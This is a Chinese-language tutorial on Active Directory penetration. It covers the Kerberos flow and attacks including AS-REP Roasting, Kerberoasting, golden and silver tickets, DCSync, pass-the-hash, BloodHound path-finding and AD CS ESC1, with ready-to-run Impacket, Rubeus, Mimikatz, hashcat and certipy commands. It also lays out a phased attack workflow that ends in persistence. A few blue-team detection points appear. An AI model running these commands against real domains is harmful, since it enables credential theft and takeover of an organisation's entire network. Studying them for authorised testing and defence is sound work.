域渗透基础
一、Active Directory 基础概念
1.1 核心组件
| 组件 | 全称 | 作用 | 渗透意义 |
| DC |
域控制器 |
AD 的核心服务器,存所有账户/密码哈希 |
拿下 DC = 拿下整个域 |
| AD |
Active Directory |
微软的目录服务,管理域内资源 |
渗透的最终目标 |
| OU |
组织单位 |
AD 中的容器,组织用户/计算机 |
通过 OU 结构可分析资产分布 |
| SPN |
服务主体名称 |
标识域内某个服务(如 SQL Server) |
Kerberoasting 的基础 |
| KRBTGT |
Kerberos 服务账号 |
DC 上的 Kerberos 密钥分发账号 |
黄金票据需要它的哈希 |
| Domain Admins |
域管理员组 |
域内最高权限组 |
最终目标组 |
| Enterprise Admins |
企业管理员组 |
林根域最高权限组(林级别) |
多域环境下的终极目标 |
1.2 域环境 vs 工作组
工作组(Workgroup) 域(Domain)
├── 每台机器独立管理 ├── DC 统一管理所有机器
├── 无集中身份认证 ├── 单点登录(SSO)
├── 无组策略 ├── 组策略(GPO)统一下发
├── 渗透:每台机器单独提权 ├── 渗透:拿下 DC = 全域控制
└── 简单网络 └── 企业级环境标配
二、Kerberos 协议 —— 域渗透的"HTTP 协议"
2.1 协议角色
| 角色 | 简称 | 对应现实 |
| 客户端 |
Client |
想要访问服务的用户 |
| 认证服务器 |
AS |
DC 上的 KDC 组件 |
| 票据发放服务器 |
TGS |
DC 上的 KDC 组件 |
| 目标服务 |
Service |
文件服务器、SQL Server 等 |
2.2 认证流程(六步,必须理解)
┌─────────────────────────────────────────────────────────────────────┐
│ Kerberos 认证流程 │
│ │
│ Client KDC (DC) Service │
│ │ │ │ │
│ │① AS-REQ (请求TGT) │ │ │
│ │─── 加密的时间戳 ──────→ │ │ │
│ │ │ │ │
│ │② AS-REP (返回TGT) │ │ │
│ │←─── TGT(由KRBTGT加密) ── │ │ │
│ │ │ │ │
│ │③ TGS-REQ (请求ST) │ │ │
│ │─── TGT + SPN ──────────→ │ │ │
│ │ │ │ │
│ │④ TGS-REP (返回ST) │ │ │
│ │←─── ST(由服务账号加密) ── │ │ │
│ │ │ │ │
│ │⑤ AP-REQ (访问服务) │ │ │
│ │─────────────────────── ST ──────────────────────→ │ │
│ │ │ │ │
│ │⑥ AP-REP (服务响应) │ │ │
│ │←─────────────────────────────────────────────────── │ │
│ │
└─────────────────────────────────────────────────────────────────────┘
关键点:
- TGT 由 KRBTGT 账号的哈希加密 —— 如果能拿到 KRBTGT 哈希
- ST 由服务账号的哈希加密 —— 如果能拿到服务账号哈希
- 客户端与 KDC 之间:时间戳用客户端密码哈希加密
2.3 渗透点定位(每个步骤的漏洞)
| 步骤 | 名称 | 漏洞/攻击 | 利用条件 |
| ①→② |
AS-REQ/AS-REP |
AS-REP Roasting |
用户账号未设置"预认证" |
| ③→④ |
TGS-REQ/TGS-REP |
Kerberoasting |
有域账户即可 |
| ⑤ |
AP-REQ |
白银票据 |
拿到服务账号 NTLM 哈希 |
| ① |
AS-REQ |
ASREQ 爆破 |
无预认证账户的用户名枚举 |
| — |
— |
黄金票据 |
拿到 KRBTGT 哈希 |
| — |
— |
DCSync |
需要 DC 复制权限(DA 或特定 ACL) |
| — |
— |
Pass-the-Ticket |
从一台机器窃取 TGT 票据 |
三、域渗透核心攻击技术
3.1 AS-REP Roasting(无预认证攻击)
原理:如果域用户启用了"不需要 Kerberos 预认证"
→ 攻击者可以伪造 AS-REQ 请求
→ DC 返回加密的 TGT(用该用户的密码哈希加密)
→ 离线爆破该加密数据 → 还原明文密码
# 利用工具
# Impacket
impacket-GetNPUsers -dc-ip 192.168.1.1 -request domain.com/user
# Rubeus(在目标机器上执行)
Rubeus.exe asreproast
# 离线爆破
hashcat -m 18200 AS-REP哈希.txt wordlist.txt
适用条件:很低——只需要知道一个用户名(无需密码)
目标:用户账号开了 "Do not require Kerberos preauthentication"
3.2 Kerberoasting(最常用的域攻击)
原理:任何域用户都可以向 DC 请求某个服务的 ST(服务票据)
→ ST 由服务账号的 NTLM 哈希加密
→ 将 ST 导出到本地 → 离线爆破 → 得到服务账号明文密码
# 利用工具
# Impacket
impacket-GetUserSPNs -dc-ip 192.168.1.1 domain.com/user:password
# Rubeus
Rubeus.exe kerberoast
# 离线爆破
hashcat -m 13100 Kerberos哈希.txt wordlist.txt
适用条件:只需要一个普通域账户
目标:域内任何注册了 SPN 的服务账号(往往有高权限)
3.3 黄金票据(Golden Ticket)
原理:拿到 KRBTGT 账号的 NTLM 哈希
→ 可以伪造任意用户的 TGT
→ 可以指定任意权限(比如 Domain Admins)
→ 可以在整个域中冒充任何人访问任何服务
# 获取 KRBTGT 哈希(需要 DA 权限)
lsadump::dcsync /domain:domain.com /user:krbtgt
# 伪造黄金票据(Mimikatz)
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /user:Administrator /id:500 /ptt
# /ptt = 直接注入当前会话
影响:拿到黄金票据 = 永久域控制权(除非重置 KRBTGT 密码两次)
注意:KRBTGT 密码默认从不更换,所以黄金票据的持久性极强
3.4 白银票据(Silver Ticket)
原理:拿到某个服务账号的 NTLM 哈希
→ 可以伪造该服务的 ST(服务票据)
→ 可以访问该服务上的所有资源
→ 不需要与 DC 通信(比黄金票据更隐蔽)
# 伪造白银票据(Mimikatz)
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:TARGET_SERVER.domain.com /service:CIFS /rc4:SERVICE_HASH /user:Administrator /ptt
- CIFS = 文件共享访问
- HOST = 计划任务/远程桌面
- HTTP = Web 服务
- LDAP = AD 查询
3.5 DCSync
原理:利用域复制协议(DRSR)模拟 DC 的行为
→ 可以从 DC 请求任意账户的密码哈希
→ 不需要登录 DC,只需要一个高权限域账号
# 必要条件
- Domain Admins / Enterprise Admins / 特定 ACL 权限
- 域功能级别 >= 2008
# 利用(Mimikatz)
lsadump::dcsync /domain:domain.com /user:Administrator
# 利用(Impacket)
impacket-secretsdump -just-dc domain.com/Administrator:password@192.168.1.1
防护思路:
- 监控 Event ID 4662(DS-Replication-Get-Changes)
- 限制 DC 复制权限,减少可发起 DCSync 的账户
3.6 Pass-the-Hash(PtH)与 Overpass-the-Hash
# Pass-the-Hash
# 直接用 NTLM 哈希登录,不需要明文密码
impacket-psexec domain.com/Administrator@192.168.1.1 -hashes LMHASH:NTHASH
# Overpass-the-Hash
# 用 NTLM 哈希获取 Kerberos TGT
Rubeus.exe asktgt /user:Administrator /rc4:NTHASH /ptt
3.7 攻击技术对比
| 攻击 | 需要权限 | 产出 | 隐蔽性 | 持久性 |
| AS-REP Roasting |
无(需用户名) |
用户明文密码 |
★★★ |
— |
| Kerberoasting |
普通域账号 |
服务账号明文密码 |
★★★ |
— |
| 黄金票据 |
DA(拿 KRBTGT 哈希) |
全域永续权限 |
★★ |
★★★★★ |
| 白银票据 |
服务账号哈希 |
特定服务永续权限 |
★★★★ |
★★★★ |
| DCSync |
DA/特定 ACL |
全域账号哈希 |
★★ |
— |
| Pass-the-Hash |
NTLM 哈希 |
目标机器权限 |
★ |
— |
四、BloodHound —— AD 拓扑可视化
4.1 什么是 BloodHound
BloodHound 是一个 AD 关系分析工具,用图论找出域内攻击路径。
输入:AD 中的用户、组、计算机、会话、ACL
输出:从"当前控制点"到"域管理员"的最短攻击路径
展示:图形化界面(Neo4j 数据库 + 前端 UI)
4.2 数据收集(SharpHound)
# 在目标机器上运行(需域账户权限)
SharpHound.exe -c All -d domain.com
# 收集的数据类型
- Users & Groups(用户和组关系)
- Computers & Sessions(计算机和当前会话)
- ACL(访问控制条目)
- GPO(组策略对象)
- 域信任关系
# 输出:一堆 JSON 文件 → 压缩成 ZIP → 导入 BloodHound
4.3 BloodHound 分析
# 启动 BloodHound
# 需要先启动 Neo4j 数据库
neo4j console # 默认 http://localhost:7474
bloodhound # 默认 http://localhost:7687
# 导入 SharpHound 数据
Upload Data → 选择 ZIP 文件
# 三大查询类型
1. 找最短攻击路径
→ Node Info → "Shortest Paths to Domain Admins"
→ 显示从你的当前用户到 DA 的最短路径
2. 找高价值目标
→ "Find all Domain Admins"(谁是 DA)
→ "Sessions(运行中会话)"(谁登录在哪台机器)
→ "Kerberoastable Users"(可 Kerberoasting 的用户)
3. 找权限提升路径
→ "WriteDACL" 权限→可修改 ACL→可提权
→ "GenericAll" 完全控制权限
→ "AdminTo" 本地管理员关系
4.4 常用 BloodHound Cypher 查询
# 查询所有域管理员
MATCH (n:User) WHERE n.domainadmin=true RETURN n
# 查询所有可 Kerberoasting 的用户
MATCH (n:User) WHERE n.hasspn=true RETURN n
# 查询当前用户到 DA 的最短路径
MATCH p=shortestPath((start {name:"USER@DOMAIN"})-[*1..]->(end {name:"DOMAIN ADMINS@DOMAIN"})) RETURN p
# 查询有 DCSync 权限的账户
MATCH (n) WHERE n.name=~'.*DOMAIN' AND n.dcsync=true RETURN n
4.5 典型攻击路径(从普通用户到 DA)
场景:你是一个普通域用户 user@domain.com
路径1: 简单直接
user → 本地管理员(A) → A 上有 DA 的会话 → 窃取 DA Token → 控制 DC
路径2: ACL 滥用
user → GenericAll on Group1 → Group1 是 Domain Admins 成员 → 把自己加入 DA
路径3: Kerberoasting
user → 发现 SQLService 有 SPN → Kerberoasting → 拿到 SQLService 密码
SQLService 是 Domain Admins 成员 → 直接登录 DC
路径4: 多层跳板
user → AdminTo MachineA → MachineA 上有 UserB 的会话
UserB → MemberOf Backup Admins → Backup Admins 有 DC 的 Backup 权限
→ 用 Backup 权限 dump DC 的 NTDS.dit → 拿到 KRBTGT 哈希 → 黄金票据
五、实战工具链
5.1 工具速查
| 工具 | 用途 | 命令示例 |
| Mimikatz |
Windows 密码/票据提取 |
sekurlsa::logonpasswords |
| Impacket |
Python 域攻击套件 |
impacket-secretsdump, impacket-GetNPUsers |
| Rubeus |
Kerberos 攻击 |
Rubeus.exe kerberoast |
| SharpHound |
BloodHound 数据收集 |
SharpHound.exe -c All |
| BloodHound |
AD 可视化分析 |
浏览器 UI |
| CrackMapExec |
批量密码验证/枚举 |
cme smb 192.168.1.0/24 -u user -p pass |
| ldapdomaindump |
LDAP 信息导出 |
ldapdomaindump ldap://192.168.1.1 -u 'domain\user' |
| certipy |
AD CS 漏洞利用 |
certipy find -u user@domain.com -p pass -dc-ip 192.168.1.1 |
5.2 实战流程
┌─────────────────────────────────────────────────────────────────┐
│ Phase 1: 信息收集 │
│ BloodHound 数据收集(SharpHound -c All) │
│ ldapdomaindump 导出 LDAP 信息 │
│ CrackMapExec 探测网段内机器 │
│ → 导入 BloodHound → 看图找最短路径 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 2: 入口突破 │
│ AS-REP Roasting(没预认证的用户) │
│ Kerberoasting(有 SPN 的服务账号) │
│ 密码喷洒(Password Spraying):一个密码试所有用户 │
│ → 拿到一个普通域账号 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 3: 横向移动 │
│ 查看目标机器上的管理员会话(BloodHound Sessions) │
│ Pass-the-Hash / Overpass-the-Hash │
│ WMI/PSEXEC/SCHTASKS 远程执行 │
│ → 向高权限节点移动 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 4: 权限提升 │
│ ACL 路径利用(GenericAll/WriteDACL/WriteOwner) │
│ AD CS 漏洞(ESC1-ESC8,用 certipy) │
│ 组策略滥用 │
│ → 拿到 Domain Admins 权限 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 5: 持久化 │
│ DCSync → 获取 KRBTGT 哈希 → 黄金票据 │
│ 创建隐藏域管理员账户 │
│ SID History 注入 │
│ → 持久化域控制权限 │
└─────────────────────────────────────────────────────────────────┘
六、AD CS(证书服务)攻击 — 扩展知识
6.1 什么是 AD CS
Active Directory 证书服务(AD CS)是企业 CA,如果配置不当会引入严重漏洞。
ESC1 — 证书模板允许域用户请求 SAN 可指定的模板:允许伪造任意用户的证书(包括 DA)→ 用该证书请求 TGT → 冒充 DA
# certipy 自动化检测利用
certipy find -u user@domain.com -p password -dc-ip 192.168.1.1
certipy req -u user@domain.com -p password -ca CA-SERVER -target dc.domain.com -template ESC1-TEMPLATE -upn administrator@domain.com
七、快速参考
7.1 NTLM vs Kerberos
| | NTLM | Kerberos |
| 认证方式 |
挑战-响应 |
票据 |
| 使用场景 |
工作组/兼容模式 |
域环境 |
| 端口 |
445 (SMB) |
88 (UDP/TCP) |
| 漏洞工具 |
Responder(NTLM Relay) |
Rubeus/Impacket |
| 特征 |
三次握手 |
六步流程 |
7.2 关键端口
| 端口 | 协议 | 服务 |
| 88 |
UDP/TCP |
Kerberos |
| 135 |
TCP |
RPC |
| 139/445 |
TCP |
SMB |
| 389 |
TCP/UDP |
LDAP |
| 636 |
TCP |
LDAPS |
| 3268/3269 |
TCP |
全局编录 |
| 5985/5986 |
TCP |
WinRM |
| 9389 |
TCP |
AD Web 服务 |
7.3 常见 Event ID(蓝队监控点)
| Event ID | 检测内容 |
| 4624 |
登录成功 |
| 4625 |
登录失败(密码喷洒可被检测) |
| 4662 |
目录服务访问(DCSync 的可检测点) |
| 4768 |
Kerberos TGT 请求 |
| 4769 |
Kerberos ST 请求 |
| 4776 |
NTLM 认证 |
八、学习路径建议
必须掌握的技能顺序:
1. Impacket 基本命令(secretsdump、GetNPUsers、GetUserSPNs)
2. BloodHound 数据收集 + 分析(看得懂图找得到路)
3. Kerberoasting + AS-REP Roasting 实操
4. Pass-the-Hash / PsExec 远程执行
5. DCSync + 黄金票据 Mimikatz 操作
进阶技能:
- ACL 滥用(WriteDACL/GenericAll/ForceChangePassword)
- AD CS 攻击(ESC1-ESC8)
- 跨林/跨域信任攻击
- 组策略滥用(Startup Scripts 注入)